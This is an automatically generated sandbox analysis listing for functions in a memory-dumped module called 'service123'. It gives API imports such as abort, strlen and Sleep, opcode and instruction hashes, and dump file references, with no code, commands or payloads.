Instruction Fuzzy Hash: 9AB1C171608346CFD720DF28C49075ABBE1BF96308F09496DE9959BB42C375E944CFA2

Function 6C17C470 Relevance: 33.2, APIs: 22, Instructions: 152COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D12
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D17
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: a8ea1dc0bebcfa613473e3037cc1f0585bfeb6b88c55f22980e6e0278b91af3c
Instruction ID: d9d0954ca064f260271705828244d59c64d4aef6cd42061ad58050ed754c5597
Opcode Fuzzy Hash: a8ea1dc0bebcfa613473e3037cc1f0585bfeb6b88c55f22980e6e0278b91af3c
Instruction Fuzzy Hash: 0341ADB1A01218CFCB10DF68C8A17E9BBF5BF49348F19846AED59DF782D33694418B60

Function 6C17D370 Relevance: 31.6, APIs: 21, Instructions: 130sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 6C17CD00: strlen.MSVCRT ref: 6C17CD7D

Sleep.KERNEL32 ref: 6C17D4D7
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort$Sleepstrlen
String ID:
API String ID: 68130653-0
Opcode ID: 49892bd9dcf0159022c319ff584f2c733977b434bff703c756098342ce0a8176
Instruction ID: 0be4a9b4e109468062968670b6451f4445959cc14b9b1d9e39a89676e92398df
Opcode Fuzzy Hash: 49892bd9dcf0159022c319ff584f2c733977b434bff703c756098342ce0a8176
Instruction Fuzzy Hash: EE51C9A06083C5CAEF12DF3AC04D7457FF067A7708F184599CE884B6C2DBBA9509C76A

Function 6C17D570 Relevance: 28.6, APIs: 19, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: fc61a66e51d0cc2ecc83cdf0f2b147e1b9d14a50710acaf4898c4f3f1c935516
Instruction ID: 44fe0fed5860383aa762708949ea2f2bd6ad33a54b39771fe037fc6318008cc0
Opcode Fuzzy Hash: fc61a66e51d0cc2ecc83cdf0f2b147e1b9d14a50710acaf4898c4f3f1c935516
Instruction Fuzzy Hash: 6731A77060930A9FE320EF69D48076AB7E0FFD9358F14892DE99897B41D734D445CB91

Function 6C17D67C Relevance: 28.5, APIs: 19, Instructions: 32COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D21
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D26
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 6a978986521d2faa4f21e49faa05e83597843df431b75155095465bb83b63a9b
Instruction ID: 14ea6ea3695b304ba80c7806ff6e22af2e2949a8794adfa1dab40bca10c5d938
Opcode Fuzzy Hash: 6a978986521d2faa4f21e49faa05e83597843df431b75155095465bb83b63a9b
Instruction Fuzzy Hash: D4B01250CDF924C340143BE444F01B5B2347B0B3C4F01FC00450B37F010B08F4088954

Function 6C17D6C0 Relevance: 27.1, APIs: 18, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 3a08f7f4a503614d30a8b856bf6cfdc8fda2ef2a88bb8f2050c93a7bf0c6a3cf
Instruction ID: e8e77fbaedbd209c5c727e4572ee04fc0a2150546735f97ddc03ebc2626a2b22
Opcode Fuzzy Hash: 3a08f7f4a503614d30a8b856bf6cfdc8fda2ef2a88bb8f2050c93a7bf0c6a3cf
Instruction Fuzzy Hash: 274148B4A093058FD320EF19C59075ABBE0EFD9718F108D2EE599C7B51D379D8448BA2

Function 6C17D855 Relevance: 25.5, APIs: 17, Instructions: 45COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 9bf62747b5372e45306cfd67385f6314e28557bafcb4e5e4fb80afd73258714f
Instruction ID: 75ecb27f0b93ac49d88ad00fa3ce7cee15ae2ee0da3dc4735b188d4de8d3a653
Opcode Fuzzy Hash: 9bf62747b5372e45306cfd67385f6314e28557bafcb4e5e4fb80afd73258714f
Instruction Fuzzy Hash: 5CE06D7190965A8BE720FF68D0C13297BA1BF8230CF545898D9562BA46C368A85ECB81

Function 6C18C330 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 130fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C18C3A1
fwrite.MSVCRT ref: 6C18C448
fputs.MSVCRT ref: 6C18C465
fwrite.MSVCRT ref: 6C18C48E
fputs.MSVCRT ref: 6C18C4AD
fwrite.MSVCRT ref: 6C18C4DC
fwrite.MSVCRT ref: 6C18C50E
abort.MSVCRT ref: 6C18C513
abort.MSVCRT ref: 6C246157
free.MSVCRT ref: 6C24615F

Part of subcall function 6C17A340: strlen.MSVCRT ref: 6C17A3C5
Part of subcall function 6C17A340: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,6C18C41C), ref: 6C17A3E0
Part of subcall function 6C17A340: free.MSVCRT ref: 6C17A3EA

Strings

not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): , xrefs: 6C18C349
terminate called after throwing an instance of ', xrefs: 6C18C441
terminate called without an active exception, xrefs: 6C18C4D5
-, xrefs: 6C18C4C1

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: fwrite$abortfputsfreememcpy$strlen
String ID: -$not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): $terminate called after throwing an instance of '$terminate called without an active exception
API String ID: 4144276882-4175505668
Opcode ID: 4ab072cfcadf213e60061a120303bcdb69527346e3045bb9cbbf29374c14f88b
Instruction ID: 571f2d36f7b9c9f333ec5fe32d63402cc0806c42b8cb061db90e8a68c1a3a45b
Opcode Fuzzy Hash: 4ab072cfcadf213e60061a120303bcdb69527346e3045bb9cbbf29374c14f88b
Instruction Fuzzy Hash: D35117B09093199FD700AF68C48979EBBF4BF85318F01C91DE89987781DB789489CF92

Function 6C17D8A8 Relevance: 24.1, APIs: 16, Instructions: 52COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D30
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D35
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C17C5DB), ref: 6C246D44
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 8ff9f6b7b35c85a8bff4ff623bdca29f0e887de63e9ff082d57997a3e2158bdc
Instruction ID: 0a07df0cd7fcfd91369e873d7ef9e3004eb7191ee495f68c5643f770d876ce34
Opcode Fuzzy Hash: 8ff9f6b7b35c85a8bff4ff623bdca29f0e887de63e9ff082d57997a3e2158bdc
Instruction Fuzzy Hash: 0CF0A7B096934A4FD310EF28C4D17667BA07B43315F4C4C84DC851BB42C33994E8CBA1

Function 6C17DE50 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

@, xrefs: 6C17DEB8

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID: @
API String ID: 39653677-2766056989
Opcode ID: 9dd21b3913c10a240844800a9dfa2c482ed22ef3eacb7cbf770f69b75ee62fd8
Instruction ID: b9a9dea1069265320520018b0d2918b8870c977bbc5a9f3d9606c7a30214a005
Opcode Fuzzy Hash: 9dd21b3913c10a240844800a9dfa2c482ed22ef3eacb7cbf770f69b75ee62fd8
Instruction Fuzzy Hash: 3521D87050561DCBDB20EF54CCC0BDD77B4AB56318F1045A6C809ABB00EB349EC88FA0

Function 6C17DA90 Relevance: 22.6, APIs: 15, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 83c767ad993e078b2031c69a28a862d4a3d286aeb4f39ccad9b108d8aa6463ee
Instruction ID: f2f6490a669b3744cb224b91d1abaa01afdc32236fbe22027d73155968b82e1f
Opcode Fuzzy Hash: 83c767ad993e078b2031c69a28a862d4a3d286aeb4f39ccad9b108d8aa6463ee
Instruction Fuzzy Hash: 65410C75A0421D9BCB20DF65C8907DEB7B1BF89318F1485A9D84AB7701D774AE88CFA0

Function 6C17DCE0 Relevance: 21.1, APIs: 14, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 730b82d2da7bc35f9127cbebe574e0472547f7dc119ace965d717b640774afe3
Instruction ID: 6e6087f54453b98a32f4354ada5392cc85fa5c4bc8e4ab1b9469a0b7c35c1eec
Opcode Fuzzy Hash: 730b82d2da7bc35f9127cbebe574e0472547f7dc119ace965d717b640774afe3
Instruction Fuzzy Hash: 0211217490521C9BCB14EF64C890ADEB7B5BF45358F15C964EC0A67B41DB30AE49CBE0

Function 6C17DD80 Relevance: 19.6, APIs: 13, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fe2482c830eee9ded9460493a8ea6eab20a7d1ebb5a31b0fcc83bb6770a18bd
Instruction ID: 6d05c826a6cba157df2a97dffcea18345831428119fb70c4878accfacd6a43c3
Opcode Fuzzy Hash: 5fe2482c830eee9ded9460493a8ea6eab20a7d1ebb5a31b0fcc83bb6770a18bd
Instruction Fuzzy Hash: 6221D874A0421D9BCF14EF64C8C0ADEB7B5BB89358F1588A8D90A77741D730AE49CFA0

Function 6C180310 Relevance: 18.2, APIs: 12, Instructions: 165COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C24395F), ref: 6C18034B
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C24395F), ref: 6C180352
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C24395F), ref: 6C180360

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
